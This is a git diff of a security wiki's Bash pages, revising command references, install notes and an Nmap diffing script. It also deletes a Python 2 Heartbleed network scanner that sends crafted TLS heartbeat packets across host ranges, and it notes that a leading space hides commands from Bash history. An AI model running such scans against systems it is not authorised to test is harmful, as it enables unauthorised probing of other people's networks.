[pure-bash-bible](https://github.com/dylanaraps/pure-bash-bible) - is a collection of pure bash alternatives to external processes. -* [pure-sh-bible](https://github.com/dylanaraps/pure-sh-bible) - is a collection of pure POSIX sh alternatives to external processes.[pure-bash-bible](https://github.com/dylanaraps/pure-bash-bible) - is a collection of pure bash alternatives to external processes. -* [pure-sh-bible](https://github.com/dylanaraps/pure-sh-bible) - is a collection of pure POSIX sh alternatives to external processes. -* [bash-guide](https://github.com/Idnan/bash-guide) - is a guide to learn bash. -* [bash-handbook](https://github.com/denysdovhan/bash-handbook) - for those who wanna learn Bash. -* [The Bash Hackers Wiki](https://wiki.bash-hackers.org/start) - hold documentation of any kind about GNU Bash. -* [https://wiki.sans.blue/Tools/pdfs/LinuxCLI101.pdf](https://wiki.sans.blue/Tools/pdfs/LinuxCLI101.pdf) -* [https://wiki.sans.blue/Tools/pdfs/LinuxCLI.pdf](https://wiki.sans.blue/Tools/pdfs/LinuxCLI.pdf) -* _Operator Handbook: Linux\_Commands - pg. 118_ +Use this page for Bash-specific quick references, security analyst command-line practice, and links to the Bash command pages in this section. Long-form Bash learning resources live in Learn to Code. + +{% content-ref url="../learn-to-code.md" %} +[learn-to-code.md](../learn-to-code.md) +{% endcontent-ref %} + +## Bash References + +* [Linux Journey](https://linuxjourney.com/) - Free guide for learning Linux fundamentals, command-line navigation, text manipulation, filesystems, and networking. +* [Fullstack Academy Cyber OnRamp](https://prep.fullstackacademy.com) - Introductory command-line training with CTF-style practice. +* [pure-bash-bible](https://github.com/dylanaraps/pure-bash-bible) - Pure Bash alternatives to common external processes. +* [pure-sh-bible](https://github.com/dylanaraps/pure-sh-bible) - Pure POSIX `sh` alternatives to common external processes. +* [bash-guide](https://github.com/Idnan/bash-guide) - Bash learning guide. +* [bash-handbook](https://github.com/denysdovhan/bash-handbook) - Beginner-friendly Bash handbook. +* [The Bash Hackers Wiki](https://wiki.bash-hackers.org/start) - Detailed Bash documentation and examples. +* _Operator Handbook: Linux_Commands - pg. 118_ * _Penetration Testing: Programming - pg. 75_ -### Bash Scripting +## Practice + +* [OverTheWire: Bandit](https://overthewire.org/wargames/bandit/) - CTF challenge that teaches Linux command-line fundamentals. + +## Pages in This Section + +{% content-ref url="cli-components.md" %} +[cli-components.md](cli-components.md) +{% endcontent-ref %} + +{% content-ref url="common-commands.md" %} +[common-commands.md](common-commands.md) +{% endcontent-ref %} -* [Introduction to Bash Scripting](https://github.com/bobbyiliev/introduction-to-bash-scripting) - Bobby Iliev (Markdown, PDF) -* [Writing Shell Scripts](http://linuxcommand.org/lc3\_writing\_shell\_scripts.php) - William E. Shotts, Jr. (HTML) -* [Linux Shell Scripting Tutorial - A Beginner's Handbook (2002)](http://www.freeos.com/guides/lsst/) - Vivek G. Gite (HTML) -* [Linux Shell Scripting Tutorial (LSST) v2.0](https://bash.cyberciti.biz/guide/Main\_Page) - Vivek Gite (HTML) -* [Advanced Bash-Scripting Guide](http://tldp.org/LDP/abs/html/) - M. Cooper (HTML) -* [https://xapax.github.io/security/#basics\_of\_linux/bash\_scripting/](https://xapax.github.io/security/#basics\_of\_linux/bash\_scripting/) +{% content-ref url="install-scripts.md" %} +[install-scripts.md](install-scripts.md) +{% endcontent-ref %} -### Training +{% content-ref url="nmap-diffing.md" %} +[nmap-diffing.md](nmap-diffing.md) +{% endcontent-ref %} -* [https://overthewire.org/wargames/bandit/](https://overthewire.org/wargames/bandit/) - CTF challange that explores the Linux Command line. +{% content-ref url="heartbleed-vuln-check.md" %} +[heartbleed-vuln-check.md](heartbleed-vuln-check.md) +{% endcontent-ref %} diff --git a/code-tools/bash/cli-components.md b/code-tools/bash/cli-components.md index 104c4d5..005d320 100644 --- a/code-tools/bash/cli-components.md +++ b/code-tools/bash/cli-components.md @@ -1,16 +1,37 @@ # CLI Components +Use this page as a quick reference for shell operators, streams, and redirection. + ## Common Operators -• `&&` (logical AND) - where the command after this operator will only execute if the first command has executed successfully\ -• `||` (logical OR) - where the command after this operator will only execute if the first has failed\ -• `;` (semi-colon) - where the command after this operator will execute regardless of whether the first has executed successfully or not\ -• `|` (pipe) - where the command before this operator is the input for the subsequent command after the operator\ -• `&` (ampersand) - sends the current command to the background\ -• `>, <, >>>` (redirection) - directs the output of a command or group of commands commonly for files or streams +* `&&` - Run the second command only if the first command succeeds. + * Example: `mkdir reports && cd reports` +* `||` - Run the second command only if the first command fails. + * Example: `grep "needle" file.txt || echo "not found"` +* `;` - Run the next command regardless of whether the previous command succeeds. + * Example: `whoami; hostname` +* `|` - Pipe standard output from one command into the next command. + * Example: `ps -ef | grep ssh` +* `&` - Run the command in the background. + * Example: `sleep 60 &` +* `>` - Redirect standard output to a file, overwriting the file. + * Example: `date > run.log` +* `>>` - Append standard output to a file. + * Example: `date >> run.log` +* `<` - Read command input from a file. + * Example: `sort < names.txt` + +## Streams + +* `stdin` - Standard input, usually data going into the program. +* `stdout` - Standard output, usually normal command output. +* `stderr` - Standard error, usually errors and diagnostic messages. -## Stream redirection +## Stream Redirection -• stdin – Standard input (the data going into the program)\ -• stdout – Standard output (the data coming out of the program)\ -• stderr – Standard error (any error messages generated when running the program) +* `2>` - Redirect errors to a file. + * Example: `grep needle missing.txt 2> errors.log` +* `2>&1` - Send errors to the same place as standard output. + * Example: `command > output.log 2>&1` +* `/dev/null` - Discard output. + * Example: `command > /dev/null 2>&1` diff --git a/code-tools/bash/common-commands.md b/code-tools/bash/common-commands.md index 759479e..5c8d585 100644 --- a/code-tools/bash/common-commands.md +++ b/code-tools/bash/common-commands.md @@ -24,9 +24,9 @@ Print working directory ``` Show status of interfaces -#ifconfig +# ip addr show Show status of wireless interfaces -#iwconfig +# iw dev ``` ## Services @@ -53,7 +53,7 @@ Start ssh on boot Start apache web service # sudo systemctl start apache2 Verify http is up and listening -# sudo ss -antlp } grep apache +# sudo ss -antlp | grep apache start apache web service on boot # sudo systemctl enable apache2 ``` @@ -72,9 +72,9 @@ Display all jobs running in current terminal sessions ## Users and privileges ``` -Adds user to sudoers file +Create a user and add them to the sudo group # adduser (username) -# adduser (username) sudo +# usermod -aG sudo (username) ``` ## File Manipulation @@ -131,7 +131,7 @@ Change file permissions ``` {% hint style="info" %} -For more info on the permissions codes, see here: [https://www.guru99.com/file-permissions.html](https://www.guru99.com/file-permissions.html) +`chmod 777` grants read, write, and execute permissions to everyone. It is useful for understanding permission bits, but it is usually too permissive for real systems. For more info on the permissions codes, see here: [https://www.guru99.com/file-permissions.html](https://www.guru99.com/file-permissions.html) {% endhint %} ### File manipulation and Searching in a file @@ -153,11 +153,11 @@ Used for pattern matching ### Comparing files ``` -Compares two files and outputs resutls in 3 columns. first is unique to A, second is unique to B, third is shared +Compares two files and outputs results in 3 columns. The first is unique to A, second is unique to B, third is shared. # comm [fileA.txt] [fileB.txt] Compares two files # diff -c [fileA.txt] [fileB.txt] --c contect format - shows all entires in both files, “-” in the first, “+” in the second +-c context format - shows all entries in both files, “-” in the first, “+” in the second -u unified format - same as above but does not show lines that match ``` @@ -184,10 +184,10 @@ Accelerated download with multiple connections ## Command History * Commands entered in the terminal are tracked using the `HISTFILE` environment variable and are written to the `~/.bash_history` file when a user logs off. -* it is possible for credentials and passwords to be stored as plaintext in the `/.bash_history` -* Variables can also be seen when stored in the bash config file, .bashrc +* It is possible for credentials and passwords to be stored as plaintext in `~/.bash_history`. +* Variables can also be seen when stored in Bash config files such as `.bashrc`. * One way a user can prevent credentials from being recorded is by starting each command with a leading space character. For example the command `" echo 'hello world'"` will not be saved, whereas `"echo 'hello world'"` will be. -* To prevent users from hiding commands, the `HISTCONTROL` variable can be set to `"ignoredup"`, and users prevented from changing the environment variable. This will ensure all commands are captured and stored in the bash history.cat theywillneverfindmeheere +* To prevent users from hiding commands with a leading space, the `HISTCONTROL` variable can be set to `"ignoredup"`, and users can be prevented from changing the environment variable. This helps ensure commands are captured and stored in Bash history. ### Sudo History diff --git a/code-tools/bash/heartbleed-vuln-check.md b/code-tools/bash/heartbleed-vuln-check.md index 237d0b2..0c0f5a9 100644 --- a/code-tools/bash/heartbleed-vuln-check.md +++ b/code-tools/bash/heartbleed-vuln-check.md @@ -1,378 +1,23 @@ -# Heartbleed Vuln Check +# Heartbleed Vulnerability Check -``` -#!/usr/bin/env python +This page is preserved as a historical reference for CVE-2014-0160, better known as Heartbleed. The previous page contained a long Python 2 scanner that was truncated and no longer suitable as a current code example. -# Based on the original code by Jared Stafford. +## Current Guidance -# This code has been modified to test for OpenSSL versions vulnerable to -# Heartbleed without exploiting the server, therefore the heartbeat request -# does _not_ cause the server to leak any data from memory or expose any data -# in an unauthorized manner. -# Based on: https://github.com/dchan/metasploit-framework/blob/master/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb -# See: https://blog.mozilla.org/security/2014/04/12/testing-for-heartbleed-vulnerability-without-exploiting-the-server/ +Use maintained scanners and platform vulnerability management for Heartbleed checks rather than old standalone Python 2 scripts. -# Usage example: python ssltest.py example.com +* [Nmap ssl-heartbleed NSE script](https://nmap.org/nsedoc/scripts/ssl-heartbleed.html) +* [Mozilla: Testing for Heartbleed without exploiting the server](https://blog.mozilla.org/security/2014/04/12/testing-for-heartbleed-vulnerability-without-exploiting-the-server/) +* [CVE-2014-0160](https://www.cve.org/CVERecord?id=CVE-2014-0160) -import sys -import struct -import socket -import time -import select -import re -import threading -import netaddr -import json -import os -import datetime -import signal -from optparse import OptionParser -from collections import defaultdict -from multiprocessing.dummy import Pool +For broader vulnerability scanning methodology, use Scanning and Active Recon. -host_status = {} -hosts_to_skip = [] -counter = defaultdict(int) -lock = threading.Lock() +{% content-ref url="../../red-offensive/scanning-active-recon/" %} +[scanning-active-recon](../../red-offensive/scanning-active-recon/) +{% endcontent-ref %} -options = OptionParser(usage='%prog [network2] [network3] ...', description='Test for SSL heartbleed vulnerabil$ -options.add_option('--port', '-p', dest="port", default=443, help="Port to scan on all hosts or networks, default 443") -options.add_option('--input', '-i', dest="input_file", default=[], action="append", help="Optional input file of networks$ -options.add_option('--logfile', '-o', dest="log_file", default="results.txt", help="Optional logfile destination") -options.add_option('--resume', dest="resume", action="store_true", default=False, help="Do not rescan hosts that are alre$ -options.add_option('--timeout', '-t', dest="timeout", default=5, help="How long to wait for remote host to respond before$ -options.add_option('--threads', dest="threads", default=100, help="If specific, run X concurrent threads") -options.add_option('--json', dest="json_file", default=None, help="Save data as json into this file") -options.add_option('--only-vulnerable', dest="only_vulnerable", action="store_true", default=False, help="Only scan hosts$ -options.add_option('--only-unscanned', dest="only_unscanned", action="store_true", default=False, help="Only scan hosts t$ -options.add_option('--summary', dest="summary", action="store_true", default=False, help="Useful with --json. Don't scan,$ -options.add_option('--verbose', dest="verbose", action="store_true", default=False, help="Print verbose information to sc$ -options.add_option('--max', dest="max", default=None, help="Exit program after scanning X hosts. Useful with --only-unsca$ -opts, args = options.parse_args() +## Historical Notes -threadpool = Pool(processes=int(opts.threads)) +The original script was based on a non-exploitative Heartbleed check that sent a heartbeat request intended not to leak memory. It relied on Python 2 syntax, `optparse`, and byte handling patterns that are obsolete in modern Python. -def h2bin(x): - return x.replace(' ', '').replace('\n', '').decode('hex') - -hello = h2bin(''' -16 03 03 00 dc 01 00 00 d8 03 03 53 -43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf -bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00 -00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88 -00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c -c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09 -c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44 -c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c -c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11 -00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04 -03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19 -00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08 -00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13 -00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00 -00 0f 00 01 01 -''') - -def recvall(s, length, timeout=5): - endtime = time.time() + timeout - rdata = '' - remain = length - while remain > 0: - rtime = endtime - time.time() - if rtime < 0: - return None - r, w, e = select.select([s], [], [], 5) - if s in r: - try: - data = s.recv(remain) - except Exception, e: - return None - # EOF? - if not data: - return None - rdata += data - remain -= len(data) - return rdata - -def recvmsg(s): - hdr = recvall(s, 5) - if hdr is None: - return None, None, None - typ, ver, ln = struct.unpack('>BHH', hdr) - pay = recvall(s, ln, 10) - if pay is None: - return None, None, None - return typ, ver, pay - - -def hit_hb(s): - while True: - typ, ver, pay = recvmsg(s) - if typ is None: - return False - - if typ == 24: - return True - - if typ == 21: - return False - -def unpack_handshake(pay): - """ - Unpack the SSL handshake in Multiple Handshake Message - """ - paylen = len(pay) - offset = 0 - payarr = [] - - while offset < paylen: - h = pay[offset:offset + 4] - t, l24 = struct.unpack('>B3s', h) - l = struct.unpack('>I', '\x00' + l24)[0] - payarr.append(( - t, - l, - pay[offset+4:offset+4+l] - )) - offset = offset+l+4 - return payarr - -def is_vulnerable(host, timeout, port=443): - """ Check if remote host is vulnerable to heartbleed - - Returns: - None -- If remote host has no ssl - False -- Remote host has ssl but likely not vulnerable - True -- Remote host might be vulnerable - """ - s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - s.settimeout(int(timeout)) - try: - s.connect((host, int(port))) - except Exception, e: - return None - s.send(hello) - - while True: - typ, ver, pay = recvmsg(s) - if typ is None: - return None - - if typ == 22: - payarr = unpack_handshake(pay) - # Look for server hello done message. - finddone = [t for t, l, p in payarr if t == 14] - if len(finddone) > 0: - break - - # construct heartbeat request packet - ver_chr = chr(ver&0xff) - hb = h2bin("18 03") + ver_chr + h2bin("40 00 01 3f fd") + "\x01"*16381 - hb += h2bin("18 03") + ver_chr + h2bin("00 03 01 00 00") - - s.send(hb) - return hit_hb(s) - - -def store_results(host_name, current_status): - current_time = time.time() - with lock: - counter[current_status] += 1 - counter["Total"] += 1 - if host_name not in host_status: - host_status[host_name] = {} - host = host_status[host_name] - # Make a note when this host was last scanned - host['last_scan'] = current_time - - # Make a note if this host has never been scanned before - if 'first_scan' not in host: - host['first_scan'] = current_time - elif host.get('status', 'never been scanned') != current_status: - # If it has a different check result from before - host['changelog'] = host.get('changelog', []) - changelog_entry = [current_time, current_status] - host['changelog'].append(changelog_entry) - host['status'] = current_status - with open(opts.log_file, 'a') as f: - message = "{current_time} {host} {current_status}".format(**locals()) - f.write(message + "\n") - return message - - -def scan_host(host): - """ Scans a single host, logs into - - Returns: - list(timestamp, ipaddress, vulnerabilitystatus) - """ - if opts.max and int(opts.max) >= counter["Total"]: - return - host = str(host) - if host in hosts_to_skip: - return - result = is_vulnerable(host, opts.timeout, opts.port) - message = store_results(host, result) - if opts.verbose: - print message - return message - - -def scan_hostlist(hostlist, threads=5): - """ Iterates through hostlist and scans them - - Arguments: - hostlist -- Iterable with ip addresses - threads -- If specified, run in multithreading mode - """ - task = threadpool.map_async(scan_host, hostlist) - while True: - print counter['Total'], "hosts done" - task.wait(1) - if task.ready() or hasattr(threadpool, 'done'): - return - threadpool.close() - threadpool.join() - - -def clean_hostlist(args): - """ Returns list of iterables - Examples: - >>> hostlist = ["127.0.0.1", "127.0.0.2"] - >>> clean_hostlist(hostlist) - """ - hosts = [] - networks = [] - for i in args: - # If it contains any alphanumerics, it might be a domain name - if any(c.isalpha() for c in i): - # Special hack, because alexa top x list is kind of weird - i = i.split('/')[0] - hosts.append(i) - # If arg contains a / we assume its a network name - elif '/' in i: - networks.append(netaddr.IPNetwork(i)) - else: - hosts.append(i) - result = [] - for network in networks: - if network.size >= opts.threads: - result.append(network) - else: - for i in network: - hosts.append(str(i)) - if hosts: - result.append(hosts) - return result - - -def import_json(filename): - """ Reads heartbleed data in json format from this file """ - with open(filename) as f: - json_data = f.read() - data = json.loads(json_data) - for k, v in data.items(): - host_status[k] = v - - -def export_json(filename): - """ Save scan results into filename as json data - """ - json_data = json.dumps(host_status, indent=4) - with open(filename, 'w') as f: - f.write(json_data) - - -def print_summary(): - """ Print summary of previously stored json data to screen """ - if not opts.json_file: - pass - #options.error("You need to provide --json with --summary") - else: - import_json(opts.json_file) - counter = defaultdict(int) - for host, data in host_status.items(): - friendly_status = "unknown" - status = data.get('status', "Not scanned") - if status is None: - friendly_status = "SSL Connection Failed" - elif status is True: - friendly_status = "Vulnerable" - elif status is False: - friendly_status = "Not Vulnerable" - else: - friendly_status = str(status) - last_scan = int(float(data.get('last_scan',0))) - last_scan = datetime.datetime.fromtimestamp(last_scan).strftime('%Y-%m-%d %H:%M:%S') - counter[friendly_status] += 1 - counter['Total'] += 1 - if opts.only_vulnerable and not status: - continue - elif opts.only_unscanned and 'status' in data: - continue - print "%s %-20s %5s" % (last_scan, host, friendly_status) - print "------------ summary -----------" - for k,v in counter.items(): - print "%-7s %s" % (v, k) - return - -def signal_handler(signal, frame): - print "Ctrl+C pressed.. aborting..." - threadpool.terminate() - threadpool.done = True - -def main(): - if opts.summary: - print_summary() - return - - if not args and not opts.input_file and not opts.json_file: - options.print_help() - return - - - # If any input files were provided, parse through them and add all addresses to "args" - for input_file in opts.input_file: - with open(input_file) as f: - for line in f: - words = line.split() - if not words: - continue - # If input file is in masscan's portscan format - if line.startswith("Discovered open port"): - args.append(words.pop()) - elif len(words) == 1: - args.append(words[0]) - else: - print "Skipping invalid input line: " % line - continue - if opts.json_file: - try: - import_json(opts.json_file) - except IOError: - print opts.json_file, "not found. Not importing any data" - - - for host_name, data in host_status.items(): - if opts.only_unscanned and 'status' in data: - continue - if data.get('status', None) is True or not opts.only_vulnerable: - args.append(host_name) - - # For every network in args, convert it to a netaddr network, so we can iterate through each host - remote_networks = clean_hostlist(args) - for network in remote_networks: - scan_hostlist(network, threads=opts.threads) - - if opts.json_file: - export_json(opts.json_file) - - print_summary() - -if __name__ == '__main__': - signal.signal(signal.SIGINT, signal_handler) - main() - -``` - -\ +Keep the lesson, not the script: old proof-of-concept tools can teach vulnerability mechanics, but they should not be presented as current operational guidance unless they are maintained and tested. diff --git a/code-tools/bash/install-scripts.md b/code-tools/bash/install-scripts.md index 5b0e2c0..6a7347d 100644 --- a/code-tools/bash/install-scripts.md +++ b/code-tools/bash/install-scripts.md @@ -1,29 +1,24 @@ # Install Scripts -## Install Powershell on Linux +Use this page for install notes that are useful when setting up command-line tooling. Avoid copying old package-install snippets blindly: Linux package names, repositories, and dependencies change quickly. -``` -apt-get install libunwind8 -wget http://security.debian.org/debian-security/pool/updates/main/o/openssl/libssl1.0.0_1.0.1t-1+deb7u3_amd64.deb -dpkg -i libssl1.0.0_1.0.1t-1+deb7u3_amd64.deb -wget http://security.ubuntu.com/ubuntu/pool/main/i/icu/libicu55_55.1-7ubuntu0.3_amd64.deb -dpkg -i libicu55_55.1-7ubuntu0.3_amd64.deb -wget https://github/com/Powershell/Powershell/releases/download/v6.0.2/powershell_6.0.2-1.ubuntu.16.04_amd64.deb -dpkg -i powershell_6.0.2-1.ubuntu.16.04_amd64.deb -``` +## PowerShell on Linux -## Install PenTesters Framework +The old PowerShell 6.0.2 Ubuntu 16.04 install snippet that used `libssl1.0.0` and `libicu55` is now obsolete. Use Microsoft's current installation documentation instead. +* [Install PowerShell on Linux](https://learn.microsoft.com/en-us/powershell/scripting/install/installing-powershell-on-linux) +* [PowerShell GitHub Releases](https://github.com/PowerShell/PowerShell/releases) + +## PenTesters Framework + +The PenTesters Framework (PTF) is offensive tooling and is better treated as part of the Red Offensive toolbox. If you still use it in a lab, install from the current repository rather than old copied snippets. + +```bash +sudo git clone https://github.com/trustedsec/ptf /opt/ptf +cd /opt/ptf +sudo ./ptf ``` -sudo su - -apt-get update -apt-get install python -git clone https://github.com/trustedsec/ptf/opt/ptf -cd /opt/ptf && ./ptf -use modules/exploitation/install_update_all -use modules/intelligence-gathering/install_update_all -use modules/post-exploitation/install_update_all -use modules/powershell/install_update_all -use modules/vulnerability-analysis/install_update_all -cd /pentest -``` + +{% content-ref url="../../red-offensive/offensive-toolbox/" %} +[offensive-toolbox](../../red-offensive/offensive-toolbox/) +{% endcontent-ref %} diff --git a/code-tools/bash/nmap-diffing.md b/code-tools/bash/nmap-diffing.md index 08c28a8..f4da63b 100644 --- a/code-tools/bash/nmap-diffing.md +++ b/code-tools/bash/nmap-diffing.md @@ -1,12 +1,20 @@ -# NMAP Diffing +# Nmap Diffing -``` +This script runs a daily Nmap scan and uses `ndiff` to show what changed compared with yesterday's scan. It is useful for defensive asset monitoring when you already have authorization to scan the network. + +```bash #!/bin/bash -mkdir /opt/nmap_diff +mkdir -p /opt/nmap_diff d=$(date +%Y-%m-%d) y=$(date -d yesterday +%Y-%m-%d) /usr/bin/nmap -T4 -oX /opt/nmap_diff/scan_$d.xml 10.100.100.0/24 > /dev/null 2>&1 -if [ -e /opt/nmap_diff/scan$y.xml ]; then +if [ -e /opt/nmap_diff/scan_$y.xml ]; then /usr/bin/ndiff /opt/nmap_diff/scan_$y.xml /opt/nmap_diff/scan_$d.xml > /opt/nmap_diff/diff.txt fi ``` + +For Nmap scanning methodology and scan options, use Scanning and Active Recon. + +{% content-ref url="../../red-offensive/scanning-active-recon/" %} +[scanning-active-recon](../../red-offensive/scanning-active-recon/) +{% endcontent-ref %} diff --git a/code-tools/learn-to-code.md b/code-tools/learn-to-code.md index 0914bdd..4ff245f 100644 --- a/code-tools/learn-to-code.md +++ b/code-tools/learn-to-code.md @@ -1,110 +1,136 @@ # Learn to Code -## **Learn to Code** Platforms - -There are so many options for this out there that I am not going to be able to mention all of them. Instead I will list the ones that I have found helpful from a security context. Its mostly Python. - -* [Codecademy](https://www.codecademy.com/) - Top code learning platform on the market -* [edX | Free Online Courses by Harvard, MIT, & more](https://www.edx.org/) -* [Coursera](https://www.coursera.org/) - Build skills with courses, certificates, and degrees online from world-class universities and companies. -* [W3Schools Online Web Tutorials](https://www.w3schools.com/) - Best resource for learning HTML -* [Codewars](https://www.codewars.com/) - CTF like challanges specifically for code building -* [PowerShell vs Python Reference](https://blog.ironmansoftware.com/powershell-vs-python/) -* [Python Tutor - Visualize Python, Java, C, C++, JavaScript, TypeScript, and Ruby code execution](http://pythontutor.com/) -* [C++ Language - C++ Tutorials](https://www.cplusplus.com/doc/tutorial/) -* [Learn Java - Free Interactive Java Tutorial](https://www.learnjavaonline.org/) -* [https://github.com/EbookFoundation/free-programming-books/blob/master/books/free-programming-books.md](https://github.com/EbookFoundation/free-programming-books/blob/master/books/free-programming-books.md) -* [https://academy.wehackpurple.com/collections](https://academy.wehackpurple.com/collections) - Great secure coding learning platform +Use this page as the canonical learning index for programming and scripting resources. Bash and PowerShell have their own quick-reference pages, but long-form learning resources should live here to avoid duplicating the same links across the section. + +## General Learning Platforms + +* [Codecademy](https://www.codecademy.com/) - Interactive programming courses. +* [edX](https://www.edx.org/) - Free and paid courses from universities and training providers. +* [Coursera](https://www.coursera.org/) - Online courses, certificates, and degrees. +* [W3Schools](https://www.w3schools.com/) - Introductory web technology tutorials. +* [Codewars](https://www.codewars.com/) - Code challenge platform for practicing problem solving. +* [Python Tutor](https://pythontutor.com/) - Visualizes Python, Java, C, C++, JavaScript, TypeScript, and Ruby code execution. +* [Free Programming Books](https://github.com/EbookFoundation/free-programming-books/blob/master/books/free-programming-books.md) - Large index of free programming books. +* [We Hack Purple Academy](https://academy.wehackpurple.com/collections) - Security-focused application security and secure coding training. +* [PowerShell vs Python Reference](https://blog.ironmansoftware.com/powershell-vs-python/) - Practical comparison for automation use cases. ## Bash -* [https://xapax.github.io/security/#basics\_of\_linux/bash\_scripting/](https://xapax.github.io/security/#basics\_of\_linux/bash\_scripting/) -* [Advanced Bash-Scripting Guide](http://tldp.org/LDP/abs/html/) - M. Cooper (HTML) -* [Bash Guide for Beginners (2008)](http://www.tldp.org/LDP/Bash-Beginners-Guide/html/) - M. Garrels (HTML) -* [Bash Notes for Professionals](http://goalkicker.com/BashBook/) - Compiled from StackOverflow documentation (PDF) -* [BASH Programming (2000)](http://tldp.org/HOWTO/Bash-Prog-Intro-HOWTO.html) - Mike G. (HTML) -* [Bash Reference Manual](http://www.gnu.org/software/bash/manual/bashref.html) (HTML) -* [Bash tutorial](https://web.archive.org/web/20180328183806/http://gdrcorelec.ups-tlse.fr/files/bash.pdf) - Anthony Scemama (PDF) -* [BashGuide](http://mywiki.wooledge.org/BashGuide) - Maarten Billemont (HTML) [(PDF)](http://s.ntnu.no/bashguide.pdf) -* [Conquering the Command Line](http://conqueringthecommandline.com/book/frontmatter) - Mark Bates (HTML) -* [Getting Started with BASH](http://www.hypexr.org/bash\_tutorial.php) (HTML) -* [GNU Bash manual](https://www.gnu.org/software/bash/manual/bash.pdf) (PDF) -* [Google Shell Style Guide](https://google.github.io/styleguide/shell.xml) - Paul Armstrong (HTML) -* [Introduction to Bash Scripting](https://github.com/bobbyiliev/introduction-to-bash-scripting) - Bobby Iliev (Markdown, PDF) -* [Introduction to the Command Line](https://launchschool.com/books/command\_line) - Launch School (HTML) -* [Linux Shell Scripting Tutorial - A Beginner's Handbook (2002)](http://www.freeos.com/guides/lsst/) - Vivek G. Gite (HTML) -* [Linux Shell Scripting Tutorial (LSST) v2.0](https://bash.cyberciti.biz/guide/Main\_Page) - Vivek Gite (HTML) -* [Slackbook (2005)](http://slackbook.org) - Alan Hicks, Chris Lumens, David Cantrell and Logan Johnson (HTML, DocBook, Postscript, PDF) -* [The Bash Academy](http://guide.bash.academy) - Maarten Billemont (HTML) -* [The Linux Command Line](http://linuxcommand.org/tlcl.php) - William E. Shotts, Jr. (PDF) -* [Writing Shell Scripts](http://linuxcommand.org/lc3\_writing\_shell\_scripts.php) - William E. Shotts, Jr. (HTML) -* [https://wiki.sans.blue/Tools/pdfs/LinuxCLI101.pdf](https://wiki.sans.blue/Tools/pdfs/LinuxCLI101.pdf) -* [https://wiki.sans.blue/Tools/pdfs/LinuxCLI.pdf](https://wiki.sans.blue/Tools/pdfs/LinuxCLI.pdf) -* [https://docs.quasarops.com/en/public/the-soc-analyst-scrolls/linux-commands](https://docs.quasarops.com/en/public/the-soc-analyst-scrolls/linux-commands) - -## Powershell - -* [A Unix Person's Guide to PowerShell](https://leanpub.com/aunixpersonsguidetopowershell) - The DevOps Collective, Inc. (PDF, ePub, MOBI, HTML) _(Leanpub account or valid email requested)_ -* [Creating HTML Reports in PowerShell](https://leanpub.com/creatinghtmlreportsinwindowspowershell) - The DevOps Collective, Inc. (PDF, ePub, MOBI, HTML) _(Leanpub account or valid email requested)_ -* [DevOps: The Ops Perspective](https://leanpub.com/devopstheopsperspective) - The DevOps Collective, Inc. (PDF, ePub, MOBI, HTML) _(Leanpub account or valid email requested)_ -* [Ditch Excel: Making Historical & Trend Reports in PowerShell](https://leanpub.com/ditchexcelmakinghistoricalandtrendreportsinpowershell) - The DevOps Collective, Inc. (PDF, ePub, MOBI, HTML) _(Leanpub account or valid email requested)_ -* [Layman’s Guide to PowerShell 2.0 remoting](https://ravichaganti.com/ebooks/AlaymansguidetoPowerShell2remotingv2.pdf) (PDF) -* [Learn PowerShell Core 6.0](https://www.packtpub.com/free-ebooks/learn-powershell-core-60) - David das Neves, Jan-Hendrik Peters (Packt account _required_) -* [Learn PowerShell in Y Minutes](https://learnxinyminutes.com/docs/powershell/) -* [Mastering PowerShell v2](http://community.idera.com/powershell/powertips/b/ebookv2#pi619PostSortOrder=Ascending) -* [PowerShell 101: The No-Nonsense Beginner’s Guide to PowerShell](https://leanpub.com/powershell101) - Mike F. Robbins _(Leanpub account or valid email requested)_ -* [PowerShell 2.0 – One CMDLET At A Time](http://www.jonathanmedd.net/wp-content/uploads/2010/09/PowerShell\_2\_One\_Cmdlet\_at\_a\_Time.pdf) (PDF) -* [PowerShell Notes for Professionals](http://goalkicker.com/PowerShellBook/) - Compiled from StackOverflow documentation (PDF) -* [PowerShell Succinctly, Syncfusion](https://www.syncfusion.com/resources/techportal/ebooks/powershell) (PDF, Kindle) (email address _requested_, not required) -* [PowerShell Tips to Write By](https://leanpub.com/powershelltips) - Adam Bertram _(Leanpub account or valid email requested)_ (🚧 _in process_) -* [Secrets of PowerShell Remoting](https://leanpub.com/secretsofpowershellremoting) - The DevOps Collective, Inc. (PDF, ePub, MOBI, HTML) _(Leanpub account or valid email requested)_ -* [The Big Book of PowerShell Error Handling](https://leanpub.com/thebigbookofpowershellerrorhandling) - The DevOps Collective, Inc. (PDF, ePub, MOBI, HTML) _(Leanpub account or valid email requested)_ -* [The Big Book of PowerShell Gotchas](https://leanpub.com/thebigbookofpowershellgotchas) - The DevOps Collective, Inc. (PDF, ePub, MOBI, HTML) _(Leanpub account or valid email requested)_ -* [The Monad Manifesto - Annotated](https://leanpub.com/themonadmanifestoannotated) - The DevOps Collective, Inc. (PDF, ePub, MOBI, HTML) _(Leanpub account or valid email requested)_ -* [The PowerShell + DevOps Global Summit Manual for Summiteers](https://leanpub.com/windowspowershellnetworkingguide) - The DevOps Collective, Inc. (PDF, ePub, MOBI, HTML) _(Leanpub account or valid email requested)_ -* [https://docs.quasarops.com/en/public/the-soc-analyst-scrolls/powershell](https://docs.quasarops.com/en/public/the-soc-analyst-scrolls/powershell) -* [https://docs.quasarops.com/en/public/the-soc-analyst-scrolls/one-liners](https://docs.quasarops.com/en/public/the-soc-analyst-scrolls/one-liners) -* [https://xapax.github.io/security/#basics\_of\_windows/powershell/](https://xapax.github.io/security/#basics\_of\_windows/powershell/) -* 